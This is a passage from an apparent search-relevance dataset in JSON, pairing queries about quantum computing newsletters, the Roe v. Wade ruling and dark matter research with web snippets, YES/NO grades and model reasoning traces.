                "text": "Women in Quantum A newsletter for women in Quantum By Denise Ruffner \u00b7 Join more than 8k subscribers By registering you agree to Substack's Terms of Service, our Privacy Policy, and our Information Collection Notice Updates on Women in Quantum Scholarships / Mentor Program / Denise speaking at Quantum World Congress Denise Ruffner Oct 17, 2022 15 New Top Interested in attending the virtual 2022 IBM Qiskit Summer School from July 18-29? Women in Quantum just received 5 seats to give to our subscribers! Denise Ruffner Jun 27, 2022 20 More on Women in Quantum at IQT Join us in San Diego on May 12! Denise Ruffner May 10, 2022 12 It's here! IQT San Diego Join us on May 12 for two Women in Quantum events! Denise Ruffner May 9, 2022 14 Great Women in Quantum Event yesterday! Please hold May 12th on your calendar for IQT San Diego Denise Ruffner May 3, 2022 16 Join us for a panel on \"How to create a Deep Tech Investment Strategy\" Thursday, April 21 at 9 am PDT Denise Ruffner Apr 19, 2022 10 New Women in Quantum YouTube Channel Launched Hello Everyone, Since Women in Quantum started, we have had a 4 virtual summits. An announcement for the new Women In Quantum YouTube channel went out\u2026 Denise Ruffner Apr 18, 2022 11 Two great upcoming events for you Join the Women in Quantum Mentor Program and sign up for QCHack 2022! Denise Ruffner Mar 22, 2022 9 See all Women in Quantum About Archive Sitemap",
                "model_trace": "Query Decomposition:\n1. {best substack newsletter}: This document is a Substack newsletter -> ([1], SATISFIED)\n2. {staying up to date on the latest developments in quantum computing}: The document content focuses on events, scholarships, and programs specifically for women in quantum computing, but it does not explicitly mention providing the latest developments in quantum computing -> ([2], UNSURE)\n\nAssessment: The document satisfies the subcomponent of being a Substack newsletter, but it is unclear if it provides updates on the latest developments in quantum computing. Given the focus on community events and programs rather than technical developments, it is likely not the best source for staying up to date on the latest developments in quantum computing. NO."
            },
            {
                "grade": "YES",
                "title": "Archive - Quantum Foundry",
                "url": "https://ipotimes.substack.com/archive",
                "published_date": "2023-02-06",
                "text": "China's Quantum Revolution in 2023 China\u2019s Origin Quantum Ships First Quantum Computer Michael Spencer 6 hr ago 1 Quantum sensing startup Q-CTRL raises another $27.4M Hey Everyone, I\u2019m really bullish on the future of Quantum sensing technologies and quantum technology finding real-world applications that may be\u2026 Michael Spencer Feb 2 1 January 2023 State Department\u2019s New Office for Critical, Emerging Technology Begins Operations Quantum Computing seems tethered to Geopolitical rivalry Michael Spencer Jan 30 1 What is Welinq? Another French Quantum computing startup Michael Spencer Jan 28 2 Pasqal raises $100M to build a neutral atom-based quantum computer Is the Neutral Atom qubit approach gaining steam? Michael Spencer Jan 24 2 Quantum Machines Raises another $20 Million on its Series B Momentum is building for Israel's Quantum sector and industry. Michael Spencer Jan 23 3 Davos on Quantum Computing? Debating the relevance of the World Economic Forum's \"National Quantum Blueprint\" Michael Spencer Jan 20 2 Chinese researchers claim to have broken RSA The new algorithm could render mainstream encryption powerless within years, if their claims are true. Michael Spencer Jan 18 3 \ud83c\udf41Government of Canada launches National Quantum Strategy to create jobs and advance quantum technologies Michael Spencer Jan 17 2 Oxford Ionics Series A is Proof of Progress in Scalability \u2697\ufe0f Here's what you need to know Michael Spencer Jan 10 1 Japan\u2019s Fugaku supercomputer to get quantum performance boost Looking out to 2025 and 2026. Michael Spencer Jan 6 2 Quantum Computing in 2023 Military, Space and National Competition fueling Advances Michael Spencer Jan 4 2",
                "model_trace": "Query Decomposition:\n1. {best substack newsletter}: The document is a Substack newsletter called \"Quantum Foundry\" -> ([1], SATISFIED)\n2. {staying up to date on the latest developments in quantum computing}: The content of the document includes recent developments and news in quantum computing, such as new startups, funding rounds, and advancements in the field -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "The Week in Quantum Computing - April 15th 2024",
                "url": "https://quantumpirates.substack.com/p/the-week-in-quantum-computing-april-916",
                "published_date": null,
                "text": "The Week in Quantum Computing. Brought to you by  Sergio Gago  ( @piratecto ).   First things first: Happy belated Quantum day!. 4.1356677\u00d710 \u221215  eVs is Planck\u2019s constant. Make that number more palatable and you get a plethora of celebrations, hackathons, articles and other events around the world!  On the news: Nu Quantum and SoftwareQ partner to work together on a fault tolerant QC framework. Quanmatic's achieves milestone in solving a large-scale optimization problems. The successful transmission of light-matter entanglement over long distances by ICFO researchers brings us closer to a full-fledged quantum internet. On the policy front, Congresswoman Stefanik's introduction of the Defense Quantum Acceleration Act aims to speed up quantum technology adoption in the U.S. Department of Defense. MIT's discovery of \"neutronic molecules\" could open new avenues for quantum information processing devices. In the startup scene, European quantum computing startups are attracting considerable attention, with investments reaching $781m last year. Kipu Quantum's focus on immediate usability in quantum computing is noteworthy, together with the last funding round by Multiverse. And Quantonation's new \u20ac200 million fund, Quantonation II, is set to boost the quantum tech industry further. Finally, the paper of the week: Yilei Chen's development of a polynomial time quantum algorithm to solve the learning with errors problem is a significant advancement in quantum computing applied to cryptography. Another great paper analyzes the next decade in quantum and paves the way for the job \u201cQuantum Engineer\u201d in a similar fashion to today\u2019s \u201cAI Engineers\u201d moving further from \u201cQuantum Researchers\u201d.  Learning With Errors implications  There is a lot of debate online on the LWE (Learning With Errors) problem implications. While the paper is theoretical it postulates a potential way to make lattice based cryptography (most of the post-quantum encryption algorithms) vulnerable. So, elliptic curve algorithms are unsafe thanks to Shor, and l",
                "model_trace": "Query Decomposition:\n1. {best substack newsletter}: The document is a Substack newsletter -> ([1], SATISFIED)\n2. {staying up to date on the latest developments in quantum computing}: The content of the newsletter includes recent news, advancements, policy updates, startup activities, and significant papers in quantum computing -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Imagining AI and Quantum Computing - by Race Bannon",
                "url": "https://racebannon.substack.com/p/imagining-ai-and-quantum-computing",
                "published_date": null,
                "text": "What I watched: \u201cCompanies, countries battle to develop quantum computers\u201d by  60 Minutes . Posted December 4, 2023.      I just watched this 60 Minutes report on quantum computing. Various companies and research projects are working on creating working quantum computers. Per the report, many researchers seem to feel that we'll have them relatively soon. What is quantum computing? Quantum computing uses processors that store and manipulate information on electrons at an atomic level. The basic unit of information in quantum computing is the qubit (quantum bit). Unlike the classical bit (binary digit) of information that computers of today use by employing transistors to hold and manipulate data in one of two states (on/off, 0/1, yes/no, true/false), a qubit can hold information in a multitude of states simultaneously. Qubits replace transistors in quantum computers. Qubits act like artificial atoms holding electrons. Unlike transistors, each additional qubit doubles computing power. 20 transistors are 20 times more powerful than one transistor. But 20 qubits are a million times more powerful than one. A researcher interviewed in the report believes future quantum computers will be able to handle calculations that a million or even billion of today\u2019s existing supercomputers could not handle. The same researcher tells the 60 Minutes reporter that he believes the rate of quantum computing development is going to shock most people. Another researcher interviewed believes that the problems that need to be solved are indeed solvable to achieve a large-scale working quantum computing system by the end of this decade. The first researcher concurs with that assessment. The report is five months old. My guess is there has already been significantly more progress made on developing machines for this entirely new computing paradigm. Big companies and governments are all in an urgent race to create a workable, operationally efficient quantum computer. Why? Because the country or corporation that figures this out will rule the",
                "model_trace": "Query Decomposition:\n1. {best substack newsletter}: The document is a Substack newsletter -> ([1], SATISFIED)\n2. {staying up to date on the latest developments in quantum computing}: The document discusses a 60 Minutes report on quantum computing and provides insights into the current state and future potential of quantum computing -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents as it is a Substack newsletter that provides information on the latest developments in quantum computing. YES."
            },
            {
                "grade": "YES",
                "title": "About - Quantum Disentangled",
                "url": "https://quantumdisentangled.substack.com/about",
                "published_date": null,
                "text": "Quantum Disentangled is a monthly newsletter that breaks down quantum-related concepts, analyzes papers, and provides research on quantum computing companies.   Our mission is to democratize access to knowledge about the quantum computing industry and help individuals develop a quantum intuition from the fundamentals.   Writing pieces will be one of the following:   Breakdown of a quantum concept   Research and analysis of a quantum-related company   Analysis of a pre-print or active paper   Broader field analysis   We strongly believe in zero-cost science. Nothing will be pay-walled. Subscribe for free to get future posts delivered directly to your inbox:  Sabrina Chern : Physics Ph.D. student @ the  Yao Lab  at Harvard, research in quantum many-body physics. Previously a Quantum Computing Intern at IBM.   Ryan Chern : Engineering intern @  Solana , co-founder  Quantum Labs ,  ai23  (non-profit science education platform for middle and high school students),  Outliers ,  Soma Capital  scout.  We\u2019re siblings and we often chat about our work and what we\u2019re up to. When discussing Sabrina\u2019s research, I (Ryan) was often lost within seconds given my lack of a formal quantum physics education. A few fancy Greek symbols, some vector space, and I was lost:         This newsletter is our attempt to formalize and publicize our learnings. The first few installments will focus on beginner content to quantum computing and information as a primer for future analyses. Down the line, we\u2019ll analyze papers and companies at the quantum frontier as well as generate macro-level quantum theses.   For  students  and  researchers : Keep up to date with the most important developments in the ever-growing quantum community that makes us especially excited. Hopefully, this will help you learn about papers that you might not otherwise read, or help you uncover a topic that you might want to dive into more deeply. We will do our best to connect students and researchers with each other (make sure to sign up with your university/institution em",
                "model_trace": "Query Decomposition:\n1. [best substack newsletter]: This document is about a specific Substack newsletter called \"Quantum Disentangled\" -> ([1], SATISFIED)\n2. [staying up to date on the latest developments]: The newsletter promises to keep readers up to date with the most important developments in the quantum community -> ([1], SATISFIED)\n3. [quantum computing]: The newsletter focuses specifically on quantum computing concepts, papers, and companies -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            }
        ]
    },
    {
        "query": "breaking news on supreme court case roe v wade",
        "grid_pos": [
            0,
            1
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: News",
        "reasoning_trace": [
            "1. \"breaking news on supreme court case roe v wade\" - This query requires knowledge of the recent Supreme Court decision overturning the Roe v. Wade case, which had established a constitutional right to abortion in the United States. Evaluating this query well would require understanding the legal and political implications of this decision, as well as being up-to-date on the ongoing news and reactions surrounding it.\n\n2. \"nfl draft top prospect players 2023\" - This query relates to the upcoming NFL draft, and would require knowledge of the top college football players who are eligible to be drafted, their strengths, weaknesses, and projected draft positions. Answering this well would necessitate familiarity with the NFL draft process and the scouting/evaluation of college talent.\n\n3. \"latest updates on AI model GPT-4\" - This query is about the latest developments in artificial intelligence, specifically the rumored next-generation GPT language model from OpenAI. Properly responding would demand knowledge of the current state of large language models, their capabilities, and any recent announcements or breakthroughs related to GPT-4.\n\n4. \"new scientific study on dark matter discovery\" - This query is about a recent scientific discovery related to the elusive dark matter, which makes up a significant portion of the universe but has proven difficult to observe and study directly. Answering this well would require familiarity with the latest research and theories in cosmology and particle physics.\n\n5. \"current events on ukraine russia conflict\" - This query is about the ongoing war between Ukraine and Russia, which has been a major global news story for the past year. Properly addressing this query would necessitate up-to-date knowledge of the military situation, diplomatic efforts, humanitarian impacts, and geopolitical implications of this conflict."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Supreme Court overturns Roe v. Wade",
                "url": "https://www.boston25news.com/news/trending/supreme-court-overturns-roe-v-wade/4HO2Z7BLGZC6DCV3HJZAVSIVOM/",
                "published_date": "2022-06-24",
                "text": "Supreme Court justices have issued their decision in the case of Dobbs v. Jackson Women\u2019s Health Organization, overturning Roe v. Wade. The high court has decided that a 2018 Mississippi state law banning abortion after 15 weeks of pregnancy is constitutional. >> Read more trending news The ruling now allows states to ban abortions. The ruling is expected to lead to bans in about half of the states in the country, The Associated Press reported. You can read the complete opinion below or on Scribd. As expected, Justice Samuel Alito wrote the majority opinion. With Justices Clarence Thomas, Brett Kavanaugh and Chief Justice John Roberts writing concurring opinions, starting on page 117 in the embedded document above. Justice Amy Coney Barrett agreed with the decision, according to the decision, as indicated on page 8 of the embedded document above. Justices Stephen Breyer, Sonia Sotomayor and Elena Kagan wrote the dissenting opinion, starting on page 148 in the embedded document above. Issued in 1973, the Supreme Court\u2019s opinion in Roe v. Wade overturned a Texas state law that banned most abortions under the premise that such bans were unconstitutional. >> Related: DHS warns of potential violence when Supreme Court\u2019s abortion ruling is announced The ruling will revert decisions on whether to legalize abortions back to the states. In 13 states, so-called \u201ctrigger laws\u201d have been passed, which will automatically make abortion illegal with the overturning of Roe v. Wade: Arkansas, Idaho, Kentucky, Louisiana, Mississippi, Missouri, North Dakota, Oklahoma, South Dakota, Tennessee, Texas, Utah and Wyoming. >> Related: Roe v. Wade leaked opinion: What is Roe and what does it mean if it is overturned? The ruling comes weeks after a draft of the Supreme Court\u2019s opinion was leaked and published by Politico. The draft opinion prompted protests and led to at least one threat to one of the court\u2019s justices. >> Related: Man arrested near Justice Kavanaugh\u2019s home charged with attempted murder The court voted in February to overtu",
                "model_trace": "Query Decomposition:\n1. {breaking news}: The document is a news article reporting on a recent Supreme Court decision, which qualifies as breaking news -> ([1], SATISFIED)\n2. {supreme court case Roe v. Wade}: The document specifically discusses the Supreme Court overturning Roe v. Wade -> ([1], SATISFIED)\n\nAssessment: Both subcomponents are clearly met. The document provides timely and relevant information on the Supreme Court case Roe v. Wade. YES."
            },
            {
                "grade": "YES",
                "title": "Supreme Court overturns Roe v. Wade; states can ban abortion",
                "url": "https://www.waaytv.com/news/supreme-court-overturns-roe-v-wade-states-can-ban-abortion/article_02216806-f3c8-11ec-8906-7f8ada68828a.html",
                "published_date": "2022-06-24",
                "text": "WASHINGTON (AP) - The Supreme Court has ended constitutional protections for abortion that had been in place nearly 50 years - a decision by its conservative majority to overturn the court's landmark abortion cases. Friday\u2019s outcome overturning Roe v. Wade is expected to lead to abortion bans in roughly half the states. The decision, unthinkable just a few years ago, was the culmination of decades of efforts by abortion opponents, made possible by an emboldened right side of the court that has been fortified by three appointees of former President Donald Trump. The ruling came more than a month after the stunning leak of a draft opinion by Justice Samuel Alito indicating the court was prepared to take this momentous step.",
                "model_trace": "Query Decomposition:\n1. {breaking news}: The document is recent and provides timely information about the Supreme Court's decision -> ([1], SATISFIED)\n2. {supreme court case roe v wade}: The document explicitly discusses the Supreme Court's decision to overturn Roe v. Wade -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing recent and relevant information about the Supreme Court case Roe v. Wade. YES"
            },
            {
                "grade": "YES",
                "title": "Supreme Court's Roe v. Wade decision: Read the Dobbs v. Jackson Women's Health ruling",
                "url": "https://www.foxnews.com/politics/supreme-court-roe-vs-wade-decision-read-dobbs-vs-jackson-womens-health-ruling",
                "published_date": "2022-06-24",
                "text": "Fox News U.S. Politics Media Opinion Business Entertainment Sports Lifestyle Weather TV Fox Nation Listen More Expand / Collapse search Login Watch TV Menu Hot Topics Coronavirus U.S. Crime Military Education Terror Immigration Economy Personal Freedoms Fox News Investigates World U.N. Conflicts Terrorism Disasters Global Economy Environment Religion Scandals Opinion Politics Executive Senate House Judiciary Foreign Policy Polls Elections Entertainment Celebrity News Movies TV News Music News Style News Entertainment Video Business Personal Finance Economy Markets Watchlist Lifestyle Real Estate Tech Lifestyle Food + Drink Cars + Trucks Travel + Outdoors House + Home Fitness + Well-being Style + Beauty Family Faith Science Archaeology Air & Space Planet Earth Wild Nature Natural Science Dinosaurs Tech Security Innovation Drones Computers Video Games Military Tech Health Coronavirus Healthy Living Medical Research Mental Health Cancer Heart Health Children's Health TV Shows Personalities Watch Live Full Episodes Show Clips News Clips About Contact Us Careers Fox Around the World Advertise With Us Media Relations Corporate Information Compliance \n Other\n Fox Weather Fox Nation 2023 Super Bowl LVII Fox News Shop Fox News Go Fox News Radio Newsletters Podcasts Apps & Products Fox News New Terms of Use New Privacy Policy Your Privacy Choices Closed Captioning Policy Help Contact Us \n This material may not be published, broadcast, rewritten,\n or redistributed. \u00a92023 FOX News Network, LLC. All rights reserved.\n Quotes displayed in real-time or delayed by at least 15 minutes. Market data provided by Factset. Powered and implemented by FactSet Digital Solutions. Legal Statement. Mutual Fund and ETF data provided by Refinitiv Lipper.\n Facebook Twitter Instagram RSS Email Supreme Court Published June 24, 2022 10:40am EDT Roe v. Wade overturned by Supreme Court: Here's the full ruling Fox News Facebook Twitter Flipboard Comments Print Email close Video Supreme Court strikes down Roe v. Wade Fox News' chief legal corresponden",
                "model_trace": "Query Decomposition:\n1. {breaking news}: This document is recent and published on June 24, 2022, which is relevant to the query's timing -> ([1], SATISFIED)\n2. {supreme court case Roe v. Wade}: The document specifically addresses the Supreme Court's decision on Roe v. Wade, including the full ruling on Dobbs v. Jackson Women's Health -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "Map shows state abortion restrictions 2 years after the Supreme ...",
                "url": "https://www.cbsnews.com/news/abortion-rights-map-supreme-court-dobbs-roe-v-wade/",
                "published_date": null,
                "text": "Abortion becomes major campaign issue \n        \n        \n       \n          \n           \n          \n          \n            \n          2 years after Roe reversal, abortion becomes major campaign issue\n          03:02\n                      \n                  \n        \n        \n                  Washington \u2014 Two years ago, the Supreme Court\u00a0 overturned the constitutional right to abortion  that had been guaranteed for nearly five decades under Roe v. Wade, leaving a patchwork of access in states in its wake.\u00a0 Since the court's decision in Dobbs v. Jackson Women's Health Organization, nearly a third of states have near-total bans on the procedure in place, while access to abortion is severely restricted in a handful of others. Despite the new restrictions, abortions that occurred in the formal health care system rose 11% from 2020 to 2023, according to findings from the Guttmacher Institute, a pro-abortion rights research group. States that border those with near-total bans saw the most significant spikes in abortions. Illinois, New Mexico, Virginia and North Carolina experienced the sharpest jumps, according to Guttmacher, as new routes to access take shape in the aftermath of the high court's decision.    \n  Here's where abortion restrictions stand in all 50 states:   Meanwhile, abortion has become a  key political issue , driving  voters to the polls  since the Supreme Court's June 2022 decision. Democrats are working to ensure November's election is no different, increasingly putting the blame for unwinding the right to abortion on Republicans in recent months and calling out former President Donald Trump for appointing the three justices to the high court who helped cement the ruling overturning Roe.\u00a0\n    \n\"Donald Trump is the sole person responsible for this nightmare,\" President Biden said in a statement. \"This is a man who brags about overturning Roe v. Wade, has called for women who access reproductive health care to be punished \u2014 and says he would rule as a dictator on day one. If given the chance, there is ",
                "model_trace": "Query Decomposition:\n1. {breaking news}: The document does not provide breaking news; it provides a retrospective analysis of the situation two years after the Supreme Court's decision -> ([1], UNSATISFIED)\n2. {supreme court case roe v wade}: The document discusses the aftermath of the Supreme Court's decision to overturn Roe v. Wade, so it is related to the case -> ([1], SATISFIED)\n\nAssessment: The document is related to the Supreme Court case Roe v. Wade, but it does not provide breaking news. Since the subcomponent {breaking news} is not satisfied, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Roe v. Wade: Latest News, Top Stories & Analysis - POLITICO",
                "url": "https://www.politico.com/news/roe-v-wade",
                "published_date": null,
                "text": "Skip to Main Content\n Politico Logo\n * Congress Minutes\n * Pro\n * E&E News\n * \n SECTIONS\n * Congress\n * Elections\n * White House\n * Magazine\n * Video\n * Podcasts\n * Congress Minutes\n SERIES\n * The Fifty\n * Women Rule\n POLITICO LIVE\n * About POLITICO Live\n * Upcoming Events\n * Previous Events\n NEWSLETTERS\n * Playbook\n * Playbook PM\n * POLITICO Nightly\n * West Wing Playbook\n * The Recast\n * Huddle\n * All Newsletters\n COLUMNISTS & CARTOONS\n * John Harris\n * Alex Burns\n * Jonathan Martin\n * Michael Schaffer\n * Jack Shafer\n * Rich Lowry\n * Matt Wuerker\n * Cartoon Carousel\n POLICY\n * Agriculture\n * Cannabis\n * Cybersecurity\n * Defense\n * Education\n * Employment & Immigration\n * Energy & Environment\n * Finance & Tax\n * Health Care\n * Space\n * Sustainability\n * Technology\n * Trade\n * Transportation\n EDITIONS\n * California\n * Canada\n * Florida\n * New Jersey\n * New York\n Europe\n * Brussels\n * United Kingdom\n Follow us\n * Twitter\n * Instagram\n * Facebook\n * My Account\n * \n Roe v. Wade\n News, Analysis and Opinion from POLITICO\n * Facebook\n * Twitter\n * Elections\n Dems launch new abortion ads in battle for state governments\n By ZACH MONTELLARO\n 01/30/2023 04:30 AM EST\n * The Fifty\n California enacts new abortion laws, expecting copycats\n By ALICE MIRANDA OLLSTEIN\n 01/25/2023 04:30 AM EST\n Updated 01/25/2023 01:11 PM EST\n * New York\n New York lawmakers ask voters to codify abortion rights in state constitution\n By JOSEPH SPECTOR\n 01/24/2023 03:38 PM EST\n Updated 01/24/2023 05:30 PM EST\n * national\n \u2018Here again\u2019: Abortion activists rally 50 years after Roe\n By ASSOCIATED PRESS\n 01/22/2023 05:21 PM EST\n Updated 01/22/2023 08:29 PM EST\n * white house\n Harris calls out \u2018extremists\u2019 over abortion as Florida Republicans eye more restrictions\n By GARY FINEOUT and KIERRA FRAZIER\n 01/22/2023 02:04 PM EST\n Updated 01/22/2023 04:14 PM EST\n * Politics\n Supreme Court says justices 'actively cooperated' in leak probe\n By JOSH GERSTEIN\n 01/20/2023 04:55 PM EST\n * Legal\n Five takeaways from Supreme Court leak investigation\n By JOSH GERSTEIN\n ",
                "model_trace": "Query Decomposition:\n1. {breaking news}: The query specifically asks for the latest updates or breaking news on the topic -> ([1], UNSATISFIED)\n2. {supreme court case roe v wade}: The document is about Roe v. Wade and includes news, analysis, and opinions -> ([1], SATISFIED)\n\nAssessment: The document does provide information and analysis on Roe v. Wade, but it does not specifically focus on breaking news. Since the user is looking for the latest updates, the document does not fully satisfy the query. NO."
            },
            {
                "grade": "NO",
                "title": "Roe v Wade | The Guardian",
                "url": "https://www.theguardian.com/us-news/roe-v-wade",
                "published_date": null,
                "text": "February 2023\n \n \n \n \n \n \n  \n \n \n \n \n \n \n \n \n \n \n \n    \u2018I cried with her\u2019: the diary of a doctor navigating a total abortion ban  \n  \n \n \n When Tennessee passed one of the US\u2019s strictest abortion bans, Dr Leilah Zahedi-Spung was unable to care for her patients\n \n   \n \n Published: 22 Feb 2023 \n \n \n   \n \n \n  \n \n \n \n \n \n \n \n \n \n \n \n    Pro-choice advocates file paperwork for Ohio ballot initiative on abortion  \n  \n \n   \n \n Published: 21 Feb 2023 \n \n \n   \n \n \n  \n \n \n \n \n \n \n \n \n \n \n \n    \u2018It\u2019s a war\u2019: the doctor who wants Americans to get abortion pills before it\u2019s too late  \n  \n \n   \n \n Published: 20 Feb 2023 \n \n \n   \n \n \n \n \n \n \n \n \n \n    The \u2018rogue\u2019 Trump-appointed judge with abortion pill\u2019s future in his hands  \n  \n \n   \n \n Published: 10 Feb 2023 \n \n \n  \n \n \n \n    Trump judge\u2019s ruling could ban abortion pill across the US  \n  \n \n   \n \n Published: 9 Feb 2023 \n \n \n  \n \n \n \n    The Guardian view on Biden\u2019s State of the Union: deft politics - now to persuade voters  \n  \n \n   \n \n Published: 8 Feb 2023 \n \n \n  \n \n \n \n    Biden criticized for just one mention of abortion in State of the Union speech  \n  \n \n   \n \n Published: 8 Feb 2023 \n \n \n  \n \n \n \n    US supreme court justices use personal emails for work, report says  \n  \n \n   \n \n Published: 4 Feb 2023 \n \n \n  \n \n \n \n    Abortion: twenty states threaten to sue CVS and Walgreens over mail-order pills  \n  \n \n   \n \n Published: 1 Feb 2023 \n \n \n  \n  \n \n \n \n \n \n \n \n \n  January 2023\n \n \n \n \n \n \n  \n \n \n \n \n \n \n \n \n \n \n \n    Surge in complications from unsafe abortions likely post-Roe, doctors warn  \n  \n \n \n People in underserved medical communities in states that ban abortions may be more likely to attempt self-managed abortions\n \n   \n \n Published: 30 Jan 2023 \n \n \n   \n \n \n  \n \n \n \n \n \n \n \n \n \n \n \n    George Washington University installs emergency contraception vending machine  \n  \n \n \n Students led effort over concern for reproductive rights after supreme court struck down constitutional right to abortion\n \n   \n \n Published: 30 Jan 2023 \n \n \n   \n \n \n \n \n \n    US: thousands tu",
                "model_trace": "Query Decomposition:\n1. {breaking news}: The query specifically asks for the latest updates or breaking news on the topic -> ([1], UNSATISFIED)\n2. {supreme court case Roe v Wade}: The document is about Roe v Wade and related topics, but it does not provide breaking news or the latest updates on the case itself -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponent of providing breaking news. NO."
            }
        ]
    },
    {
        "query": "new scientific study on dark matter discovery",
        "grid_pos": [
            0,
            1
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: News",
        "reasoning_trace": [
            "1. \"breaking news on supreme court case roe v wade\" - This query requires knowledge of the recent Supreme Court decision overturning the Roe v. Wade case, which had established a constitutional right to abortion in the United States. Evaluating this query well would require understanding the legal and political implications of this decision, as well as being up-to-date on the ongoing news and reactions surrounding it.\n\n2. \"nfl draft top prospect players 2023\" - This query relates to the upcoming NFL draft, and would require knowledge of the top college football players who are eligible to be drafted, their strengths, weaknesses, and projected draft positions. Answering this well would necessitate familiarity with the NFL draft process and the scouting/evaluation of college talent.\n\n3. \"latest updates on AI model GPT-4\" - This query is about the latest developments in artificial intelligence, specifically the rumored next-generation GPT language model from OpenAI. Properly responding would demand knowledge of the current state of large language models, their capabilities, and any recent announcements or breakthroughs related to GPT-4.\n\n4. \"new scientific study on dark matter discovery\" - This query is about a recent scientific discovery related to the elusive dark matter, which makes up a significant portion of the universe but has proven difficult to observe and study directly. Answering this well would require familiarity with the latest research and theories in cosmology and particle physics.\n\n5. \"current events on ukraine russia conflict\" - This query is about the ongoing war between Ukraine and Russia, which has been a major global news story for the past year. Properly addressing this query would necessitate up-to-date knowledge of the military situation, diplomatic efforts, humanitarian impacts, and geopolitical implications of this conflict."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "No massive black holes in the Milky Way halo",
                "url": "https://www.nature.com/articles/s41586-024-07704-6",
                "published_date": "2024-06-24",
                "text": "Article\nPublished: 24 June 2024\n\nAndrzej Udalski 1 , Micha\u0142 K. Szyma\u0144ski 1 , Igor Soszy\u0144ski 1 , \u0141ukasz Wyrzykowski 1 , Pawe\u0142 Pietrukowicz 1 , Szymon Koz\u0142owski 1 , Rados\u0142aw Poleski 1 , Jan Skowron 1 , Dorota Skowron 1 , Krzysztof Ulaczyk 1,2 , Mariusz Gromadzki 1 , Krzysztof Rybicki 1,3 , Patryk Iwanek 1 , Marcin Wrona 1 & \u2026 Milena Ratajczak 1\n\nNature \n ()Cite this article\n\nWe are providing an unedited version of this manuscript to give early access to its\n findings. Before final publication, the manuscript will undergo further editing. Please note\n there may be errors present which affect the content, and all legal disclaimers apply.\n\nSubjects\n\nAbstract The gravitational wave detectors have unveiled a population of massive black holes that do not resemble those observed in the Milky Way1\u22123 and whose origin is debated4\u22126. According to one possible explanation, these black holes may have formed from density fluctuations in the early Universe (primordial black holes)7\u22129, and they should comprise from several to 100% of dark matter to explain the observed black hole merger rates10\u221212. If such black holes existed in the Milky Way dark matter halo, they would cause long-timescale gravitational microlensing events lasting years13. The previous experiments were not sufficiently sensitive to such events14\u221217. Here we present the results of the search for long-timescale microlensing events among the light curves of nearly 80 million stars located in the Large Magellanic Cloud that were monitored for 20 years by the OGLE survey18. We did not find any events with timescales longer than one year, whereas all shorter events detected may be explained by known stellar populations. We find that compact objects in the mass range from 1.8 \u00d7 10\u22124 to 6.3 M cannot compose more than 1% of dark matter, and those in the mass range from 1.3 \u00d7 10\u22125 to 860 M cannot make up more than 10% of dark matter. Thus, primordial black holes in this mass range cannot simultaneously explain a significant fraction of dark matter and gravitational wave e",
                "model_trace": "Query Decomposition:\n1. {new scientific study}: This document is a new scientific study published on June 24, 2024 -> ([1], SATISFIED)\n2. {on dark matter discovery}: The study investigates the role of primordial black holes in dark matter and concludes that they cannot make up a significant fraction of dark matter -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied. The document is a new scientific study that directly addresses dark matter. YES."
            },
            {
                "grade": "YES",
                "title": "IceCube at the frontier of macroscopic dark matter direct detection",
                "url": "https://export.arxiv.org/pdf/2206.07928v1.pdf",
                "published_date": "2022-06-16",
                "text": "IceCube at the Frontier of Macroscopic Dark Matter Direct Detection\n16 Jun 2022\n\nYang Bai \nJoshua Berger \nMrunal Korwar\n\nDepartment of Physics\nUniversity of Wisconsin-Madison\n53706MadisonWIUSA\n\nColorado State University\n80523Fort CollinsCOUSA\n\nIceCube at the Frontier of Macroscopic Dark Matter Direct Detection\n16 Jun 2022\nFor a class of macroscopic dark matter models, inelastic scattering of dark matter off a nucleus can generate electromagnetic signatures with GeV-scale energy. The IceCube detector, with its kilometer-scale size, is ideal for directly detecting such inelastic scattering. Based on the slow particle trigger for the DeepCore detector, we perform a detailed signal and background simulation to estimate the discovery potential. For order 1 GeV deposited energy in each interaction, we find that IceCube can probe the dark matter masses up to one gram.\n\nIntroduction\n\nJust like ordinary matter that mainly appears in composite states at a macroscopic scale, dark matter may also have its own interactions and form a composite state that hides its particle identity from observations at a macroscopic scale. Macroscopic Dark Matter (MDM), made of many constituent dark sector particles, is therefore one of compelling paradigms for understanding the particle nature of dark matter. On the particle physics side, there are many models that produce different kinds of MDM: a nontopological extended state that is made of fermions [1][2][3][4][5] or bosons [6][7][8][9][10] (see Refs. [11,12] for reviews); bound states of asymmetric dark matter particles [13][14][15][16]; other dark matter bound states including dark blobs [17]. On the cosmological side, MDM can be formed via phase transitions [1,[3][4][5], solitosynthesis [18,19] and dark nucleosynthesis [20][21][22][23]. Because of MDM states are composite, their masses can be above the Planck mass scale, while their geometric size can also reach the everyday life scale of meters, depending on the energy density of the object (see Ref. [24] for a review).\n\nFor heavy MD",
                "model_trace": "Query Decomposition:\n1. {new scientific study}: This document is a scientific study published in 2022, so it is recent -> ([1], SATISFIED)\n2. {on dark matter}: The study is focused on macroscopic dark matter and its detection, which is directly related to dark matter -> ([1], SATISFIED)\n3. {discovery}: The study discusses the potential for detecting macroscopic dark matter using the IceCube detector, which can be considered a discovery in the context of dark matter research -> ([2], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Experiments on the Electron Impact Excitation of the 2s and 2p States of Hydrogen Atoms Confirm the Presence of Their Second Flavor as the Candidate for Dark Matter",
                "url": "https://www.mdpi.com/2673-9321/2/3/36",
                "published_date": "2022-06-26",
